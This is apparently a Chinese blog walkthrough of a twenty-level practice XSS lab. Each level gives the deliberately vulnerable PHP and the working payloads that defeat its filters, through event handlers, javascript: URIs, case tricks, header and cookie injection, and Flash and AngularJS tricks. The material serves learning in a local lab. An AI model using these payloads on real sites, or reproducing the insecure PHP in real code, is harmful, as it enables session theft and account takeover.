前言
XSS
平台小游戏,是一款不错的XSS
靶场,可供学习和深入认识XSS
。
环境搭建
本游戏使用了Google Chrome
浏览器,火狐浏览器(带hackbar
插件)。
使用chrome
浏览器测试时,chrome
默认开启了filter_xss_auditor
,需要禁用掉,才能显示xss
利用后的效果。可以做如下设置:
windows
下,右键桌面或者启动菜单中的Google Chrome
快捷键,然后在目标选项,chrome.exe
后面加上参数:
–args –disable-xss-auditor
之后重启浏览器,并用管理员身份运行。
源码下载:xss小游戏靶场
提取码:84cm
PS
:源码中已将一处被墙的js
文件本地化。
网站环境:PHPStudy
level1
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
payload
:
<script>alert(1);</script>
level2
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
payload |
闭合后的代码 |
---|---|
"><script>alert(1);</script> |
<input name=keyword value=""><script>alert(1);</script>"> |
"onclick="window.alert() |
<input name=keyword value=""onclick="window.alert()"> |
"><a href="javascript:alert(1)">xss</a> |
<input name=keyword value=""><a href="javascript:alert(1)">xss</a>"> |
"><img src=1 onerror="alert(1)" |
<input name=keyword value=""><img src=1 onerror="alert(1)""> |
"><svg/onload=alert(1)> |
<input name=keyword value=""><svg/onload=alert(1)>"> |
level3
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
对输入进行了htmlspecialchars
处理,查阅知htmlspecialchars()
函数把以下预定义的字符转换为 HTML
实体:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
但是htmlspecialchars
默认配置是不过滤单引号的,只有设置了quotestyle
时才过滤。
payload |
闭合后的代码 |
---|---|
'onclick=alert(1)// |
<input name=keyword value=''onclick=alert(1)//'> |
'onclick='window.alert() |
<input name=keyword value=''onclick='window.alert()'> |
'onmouseover='alert(1) |
<input name=keyword value=''onmouseover='alert(1)'> |
'onmouseover=alert(1)// |
<input name=keyword value=''onmouseover=alert(1)//'> |
level4
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
防护代码中只将<``>
号去掉了。
payload |
闭合后的代码 |
---|---|
"onclick=alert(1)// |
<input name=keyword value=""onclick=alert(1)//"> |
"onclick="alert(1) |
<input name=keyword value=""onclick="alert(1)"> |
"onclick="alert(1) |
<input name=keyword value=""onclick="alert(1)""> |
"onclick='alert(1)' |
<input name=keyword value=""onclick='alert(1)'"> |
"onclick=window.alert()// |
<input name=keyword value=""onclick=window.alert()//"> |
"onclick="window.alert() |
<input name=keyword value=""onclick="window.alert()"> |
"onclick="window.alert()" |
<input name=keyword value=""onclick="window.alert()""> |
"onclick='window.alert()' |
<input name=keyword value=""onclick='window.alert()'"> |
"onmouseover=alert(1)// |
<input name=keyword value=""onmouseover=alert(1)//"> |
"onmouseover="alert(1) |
<input name=keyword value=""onmouseover="alert(1)"> |
"onmouseover="alert(1)" |
<input name=keyword value=""onmouseover="alert(1)""> |
"onmouseover='alert(1)' |
<input name=keyword value=""onmouseover='alert(1)'"> |
level5
code
:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
做了简单的xss
防护处理,用<scr_ipt
代替<script
,用o_n
代替on
。
payload
:
"><a href=javascript:alert("xss")>xss</a>//
闭合后的代码:
<input name=keyword value=""><a href=javascript:alert("xss")>xss</a>//">
level6
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
代码防护处理了<script>
on
src
data
href
等字符,但是没有进行小写转换,因此可以使用大小写绕过。
payload |
闭合后的代码 |
---|---|
><ScriPt>alert("xss")</script> |
<input name=keyword value=""><ScriPt>alert("xss")</script>"> |
"><img Src=x OnError=alert(1)> // |
<input name=keyword value=""><img Src=x OnError=alert(1)> //"> |
"><object dAtA="javascript:alert(1)"></object> |
<input name=keyword value=""><object dAtA="javascript:alert(1)"></object>"> |
"><a HreF='javascript:alert(1)'>xss</a>// |
<input name=keyword value=""><a HreF='javascript:alert(1)'>xss</a>//"> |
level7
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
将传入的值进行强制小写转换,然后将script
on
src
data
href
等字符替换为空。绕过方式如下:
payload |
闭合后的代码 |
---|---|
"><scriscriptpt>alert("xss")</scriscriptpt>// |
<input name=keyword value=""><script>alert("xss")</script>//"> |
"oonnclick="alert(1)"// |
<input name=keyword value=""onclick="alert(1)"//"> |
"><img srSrcc=x oOnnError=alert(1)>// |
<input name=keyword value=""><img src=x onerror=alert(1)>//"> |
"><object dadAtAta="javascriscriptpt:alert(1)"></object> |
<input name=keyword value=""><object data="javascript:alert(1)"></object>"> |
"><a hrHreFef='javascriscriptpt:alert(1)'>xss</a>// |
<input name=keyword value=""><a href='javascript:alert(1)'>xss</a>//"> |
level8
code
:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
对$str
变量严格控制过滤,但是对$str7
存在绕过的可能性:使用javscript
伪协议,并进行适当的的编码。
payload
:
javascript:alert(1)
javascript:alert(1)
与之对应的原语句为:
javascript:alert(1)
level9
code
:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
使用strpos()
函数检查了GET
方式传入的值是否含有http://
,在$str7
的位置依旧存在绕过的可能性。
payload1
:
javascript:alert('http://')
原语句:
javascript:alert('http://')
payload2
:
javascript:alert(1)/*http://www.baidu.com*/
原语句:
javascript:alert(1)/*http://www.baidu.com*/
level10
http://localhost/XSS/level10.php?keyword=well%20done!
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现只能从$str33
处进行触发,因此传入t_sort
值,用type="text"
覆盖掉hidden
payload1
:
http://localhost/XSS/level10.php?keyword=well%20done!&t_sort="onclick=alert(1) type="text"
闭合后的代码:
<input name="t_sort" value=""onclick=alert(1) type="text"" type="hidden">
payload2
:
http://localhost/xss/level10.php?keyword=well done!&t_sort=" accesskey="X" onclick="alert(1)"//
然后使用ALT+shift+X
触发弹窗
闭合后的代码:
<input name="t_sort" value="" accesskey="X" onclick="alert(1)"//" type="hidden">
level11
http://localhost/xss/level11.php?keyword=good%20job!
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
依旧在$str3
处可进行绕过,发现传入的是HTTP_REFERER
值,并过滤掉了<``>
,因此可用on
语句来绕过,可以抓包添加http
文件头Referer
值:
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick=alert(1) type=text//
此处我使用了hackbar
插件:
闭合后的代码为:
<input name="t_ref" value="" onclick=alert(1) type=text//" type="hidden">
level12
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
抓包修改User-Agent
值
User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick=alert(1) type=text//
闭合后的代码为:
<input name="t_ua" value="" onclick=alert(1) type=text//" type="hidden">
level13
code
:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
依旧是在$str33
处触发,寻找到是通过cookie
中传入user
值。
因此修改cookie
值:
Cookie:user= " onmouseover=alert(1) type="text"
Cookie:user= " onclick=alert(1) type=text//
闭合后的代码为:
<input name="t_cook" value="" onclick=alert(1) type=text//" type="hidden">
level14
code
:
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
….level14
崩了,我们看一下大佬的payload
:
"><img src=1 onerror=alert(1)>
百度得出答案,这里用的是乌云爆出的exif viewer
的漏洞,原理是通过修改图片的exif
信息,
造成解析图片exif
触发XSS
。利用工具推荐exiftool
。
level15
http://localhost/xss/level15.php?src=1.gif
code
:
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
使用了AngularJS
ng-include
指令,ng-include
指令用于包含外部的HTML
文件。包含的内容将作为指定元素的子节点。默认情况下,包含的文件需要包含在同一个域名下。
因此可以调用第一关的level1.php
。直接在包含的页面里用<script>
触发不了,可以用img
标签。htmlspecialchars
默认不过滤单引号,因此构造的payload
如下:
payload
:
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
level16
http://localhost/xss/level16.php?keyword=test
code
:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
将script
空格 /
处理为转义字符 
。
一种思路:使用%0d
%0a
做分割符,构造payload
:
http://localhost/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
http://localhost/xss/level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert(1)></iframe>
http://localhost/xss/level16.php?keyword=<svg%0aonload=alert(1)></svg>
另一种思路:
根据浏览器对编码解析的顺序:
URL
解析->HTML
解析->CSS
解析->JS
解析
构造payload
:
http://localhost/xss/level16.php?keyword=<a%0ahref=javasc%26%23%78%37%32%3Bipt:alert(1)>a
先发生url
解析,产生闭合后的代码:
<center><a
href=javascript:alert(1)>a</center>
再进行html
解析,最后JS
解析,触发xss
level17
http://localhost/xss/level17.php?arg01=a&arg02=b
code
:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
过滤了尖括号和双引号,用on
事件触发,payload
如下:
http://localhost/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)
http://localhost/xss/level17.php?arg01=a&arg02=b onmousedown=alert(1)
(谷歌浏览器测试成功)
level18
http://localhost/xss/level18.php?arg01=a&arg02=b
code
:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
过滤了尖括号和双引号,用on
事件触发,payload
如下:
http://localhost/xss/level18.php?arg01=a&arg02=b onmouseover=alert(1)
http://localhost/xss/level18.php?arg01=a&arg02=b onmouseout=alert(1)
(谷歌浏览器测试成功)
level19
http://localhost/xss/level19.php?arg01=a&arg02=b
code
:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
这一关开始是flash
xss
了,首先下载页面中的flash
,对源码进行分析,本次使用了JPEXS
这款工具。发现是actionscript 2.0
,首先定位getURL
函数:
...
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR
的内容,省略了一些代码,关键代码如下:
...
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version
参数可以传入loc4
变量中,即sIFR
的内容中,但是getURL
只在内容为link
时打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}
所以构造最终payload
如下:
http://localhost/xss/level19.php?arg01=version&arg02=<a href="javascript:alert(document.domain)">xss</a>
(谷歌浏览器测试成功)
level20
http://localhost/xss/level20.php?arg01=a&arg02=b
code
:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
payload
:
http://localhost/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
(谷歌浏览器测试成功)
level19
level20
参考网上的,留着供研究参考。
(彩蛋)十秒过关
F12
到web
调试控制台,每关输入alert(1)
。像我这样单身的手速,十秒即可过掉全部关卡~
原理在于:只要出现警告对话框,就会触发定义的js
函数,提示进入下一关。大家应该都明白的。
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章